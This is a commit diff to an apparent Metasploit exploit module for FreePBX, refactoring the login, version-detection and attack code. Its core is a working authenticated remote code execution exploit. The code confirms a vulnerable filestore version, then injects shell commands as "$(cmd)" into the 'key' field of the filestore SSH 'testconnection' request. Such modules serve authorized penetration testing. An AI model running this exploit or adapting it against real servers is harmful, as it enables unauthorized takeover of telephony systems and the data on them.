Optimize FreePBX module: cache auth/version, reduce verbosity, inline single-use functions
This commit is contained in:
@@ -8,6 +8,14 @@ module Msf
|
||||
# Shared routines for FreePBX modules
|
||||
#
|
||||
module FreePBX
|
||||
# Get the admin config URI
|
||||
#
|
||||
# @return [String] Admin config URI path
|
||||
#
|
||||
def freepbx_admin_uri
|
||||
normalize_uri(target_uri.path, 'admin', 'config.php')
|
||||
end
|
||||
|
||||
# Get the Referer header for FreePBX requests
|
||||
#
|
||||
# @return [String] Referer URL
|
||||
@@ -15,10 +23,11 @@ module Msf
|
||||
def freepbx_referer
|
||||
host = datastore['RHOSTS'] || rhost
|
||||
host = '127.0.0.1' if host == '::1' || host == 'localhost'
|
||||
"http#{datastore['SSL'] ? 's' : ''}://#{host}:#{rport}#{normalize_uri(target_uri.path, 'admin', 'config.php')}"
|
||||
protocol = datastore['SSL'] ? 'https' : 'http'
|
||||
"#{protocol}://#{host}:#{rport}#{freepbx_admin_uri}"
|
||||
end
|
||||
|
||||
# Authenticate with supplied credentials and return the session cookie.
|
||||
# Authenticate with supplied credentials and return the session cookie
|
||||
#
|
||||
# @param username [String] FreePBX username
|
||||
# @param password [String] FreePBX password
|
||||
@@ -26,54 +35,77 @@ module Msf
|
||||
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
|
||||
#
|
||||
def freepbx_login(username, password, timeout = 20)
|
||||
# Get initial session and login page
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
|
||||
'method' => 'GET',
|
||||
'headers' => { 'Referer' => freepbx_referer }
|
||||
}, timeout)
|
||||
cache_key = "#{username}:#{password}"
|
||||
if @freepbx_auth_cache && @freepbx_auth_cache[cache_key]
|
||||
return @freepbx_auth_cache[cache_key]
|
||||
end
|
||||
|
||||
data = freepbx_get_login_page_data(timeout)
|
||||
res = data[:response]
|
||||
return nil unless res
|
||||
|
||||
# Extract session cookie
|
||||
cookie = res.get_cookies
|
||||
return nil if cookie.empty?
|
||||
|
||||
# Extract CSRF token if present
|
||||
token = nil
|
||||
if res.body =~ /name="token"\s+value="([^"]+)"/
|
||||
token = Regexp.last_match(1)
|
||||
end
|
||||
|
||||
# Login POST
|
||||
post_data = {
|
||||
'username' => username,
|
||||
'password' => password
|
||||
}
|
||||
post_data['token'] = token if token
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
|
||||
login_response = send_request_cgi({
|
||||
'uri' => freepbx_admin_uri,
|
||||
'method' => 'POST',
|
||||
'cookie' => cookie,
|
||||
'headers' => {
|
||||
'Referer' => freepbx_referer,
|
||||
'Content-Type' => 'application/x-www-form-urlencoded'
|
||||
},
|
||||
'vars_post' => post_data
|
||||
'vars_post' => {
|
||||
'username' => username,
|
||||
'password' => password
|
||||
}
|
||||
}, timeout)
|
||||
|
||||
return nil unless res
|
||||
return nil unless login_response
|
||||
|
||||
if res.code == 302 || (res.code == 200 && !res.body.include?('Login'))
|
||||
new_cookie = res.get_cookies
|
||||
|
||||
return new_cookie unless new_cookie.empty?
|
||||
|
||||
return cookie
|
||||
body_lower = login_response.body.downcase
|
||||
if body_lower.include?('invalid username or password') && body_lower.include?('obe_error')
|
||||
@freepbx_auth_cache ||= {}
|
||||
@freepbx_auth_cache[cache_key] = :auth_failed
|
||||
return :auth_failed
|
||||
end
|
||||
|
||||
nil
|
||||
return nil unless login_response.code == 302 || (login_response.code == 200 && !login_response.body.include?('Login'))
|
||||
|
||||
new_cookie = login_response.get_cookies
|
||||
result = new_cookie.empty? ? cookie : new_cookie
|
||||
@freepbx_auth_cache ||= {}
|
||||
@freepbx_auth_cache[cache_key] = result
|
||||
result
|
||||
end
|
||||
|
||||
# Get or create the login page data
|
||||
#
|
||||
# @param timeout [Integer] Request timeout
|
||||
# @return [Hash] Hash with :response and :detected keys
|
||||
#
|
||||
def freepbx_get_login_page_data(timeout = 20)
|
||||
return @freepbx_login_page if @freepbx_login_page
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => freepbx_admin_uri,
|
||||
'method' => 'GET',
|
||||
'headers' => { 'Referer' => freepbx_referer }
|
||||
}, timeout)
|
||||
|
||||
body_lower = res&.body&.downcase || ''
|
||||
detected = (res&.code == 200) && (
|
||||
body_lower.match?(%r{<title>freepbx\s+administration</title>}) ||
|
||||
(body_lower.include?('freepbx administration') && body_lower.include?('loginform')) ||
|
||||
body_lower.include?('assets/js/freepbx.js') ||
|
||||
body_lower.include?('freepbx-navbar') ||
|
||||
(body_lower.match?(/id=["']loginform["']/) && body_lower.include?('freepbx'))
|
||||
)
|
||||
|
||||
@freepbx_login_page = {
|
||||
response: res,
|
||||
detected: detected
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -83,36 +83,49 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def check
|
||||
cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
return CheckCode::Unknown('Authentication failed') unless cookie
|
||||
data = freepbx_get_login_page_data
|
||||
unless data[:detected]
|
||||
vprint_status('Target does not appear to be FreePBX')
|
||||
return CheckCode::Safe('Not FreePBX')
|
||||
end
|
||||
|
||||
# Try to get filestore version
|
||||
version = get_filestore_version
|
||||
return CheckCode::Appears('Filestore module is accessible') unless version
|
||||
cookie = authenticate
|
||||
return CheckCode::Detected('Invalid credentials') if cookie == :auth_failed
|
||||
return CheckCode::Safe('Not FreePBX') if cookie.nil?
|
||||
|
||||
# Version 17.0.3 and above are patched
|
||||
return CheckCode::Safe("Patched filestore version #{version} detected") unless Rex::Version.new(version) < Rex::Version.new('17.0.3')
|
||||
version = get_filestore_version_cached(cookie)
|
||||
return CheckCode::Detected('Filestore module version could not be determined') unless version
|
||||
|
||||
# Version 17.0.2.36 is the first vulnerable version (file was introduced in this version)
|
||||
return CheckCode::Safe("Filestore version #{version} is not vulnerable (vulnerability introduced in 17.0.2.36)") if Rex::Version.new(version) < Rex::Version.new('17.0.2.36')
|
||||
version_obj = Rex::Version.new(version)
|
||||
return CheckCode::Safe("Filestore module patched (version #{version})") if version_obj >= Rex::Version.new('17.0.3')
|
||||
return CheckCode::Safe("Filestore module version #{version} not vulnerable") if version_obj < Rex::Version.new('17.0.2.36')
|
||||
|
||||
CheckCode::Appears("Vulnerable filestore version #{version} detected")
|
||||
CheckCode::Appears("Filestore module vulnerable (version #{version})")
|
||||
end
|
||||
|
||||
def exploit
|
||||
cookie = authenticate
|
||||
fail_with(Failure::NoAccess, 'Invalid credentials') if cookie == :auth_failed
|
||||
fail_with(Failure::Unknown, 'Connection error') if cookie.nil?
|
||||
|
||||
get_filestore_version_cached(cookie)
|
||||
execute_command(payload.encoded, { cookie: cookie })
|
||||
end
|
||||
|
||||
def authenticate
|
||||
@cookie ||= freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
fail_with(Failure::NoAccess, 'Authentication failed') unless @cookie
|
||||
@cookie
|
||||
data = freepbx_get_login_page_data
|
||||
return nil unless data[:detected]
|
||||
|
||||
freepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
end
|
||||
|
||||
def get_filestore_version
|
||||
authenticate unless @cookie
|
||||
def get_filestore_version_cached(cookie)
|
||||
return @filestore_version if @filestore_version
|
||||
|
||||
# Get version from the filestore page HTML (JavaScript includes version)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'),
|
||||
'cookie' => @cookie,
|
||||
'cookie' => cookie,
|
||||
'headers' => { 'Referer' => freepbx_referer },
|
||||
'vars_get' => {
|
||||
'display' => 'filestore'
|
||||
@@ -121,14 +134,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
return nil unless res&.code == 200
|
||||
|
||||
# Extract version from JavaScript file reference: filesystem.js?load_version=17.0.2.44
|
||||
match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/)
|
||||
return nil unless
|
||||
match[1]
|
||||
return nil unless match
|
||||
|
||||
version = match[1]
|
||||
vprint_status("Filestore module version: #{version}")
|
||||
@filestore_version = version
|
||||
version
|
||||
end
|
||||
|
||||
def send_filestore_request(vars_post = {})
|
||||
cookie = authenticate
|
||||
def execute_command(cmd, opts = {})
|
||||
cookie = opts[:cookie]
|
||||
fail_with(Failure::BadConfig, 'Missing authentication cookie') unless cookie
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
@@ -143,24 +160,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'command' => 'testconnection',
|
||||
'driver' => 'SSH'
|
||||
},
|
||||
'vars_post' => vars_post
|
||||
'vars_post' => {
|
||||
'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}",
|
||||
'port' => rand(1024..65535).to_s,
|
||||
'user' => Rex::Text.rand_text_alphanumeric(8),
|
||||
'key' => "$(#{cmd})",
|
||||
'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}"
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
send_filestore_request(
|
||||
'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}",
|
||||
'port' => rand(1024..65535).to_s,
|
||||
'user' => Rex::Text.rand_text_alphanumeric(8),
|
||||
'key' => "$(#{cmd})",
|
||||
'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}"
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
authenticate
|
||||
version = get_filestore_version
|
||||
vprint_status("Filestore module version: #{version}") if version
|
||||
execute_command(payload.encoded)
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user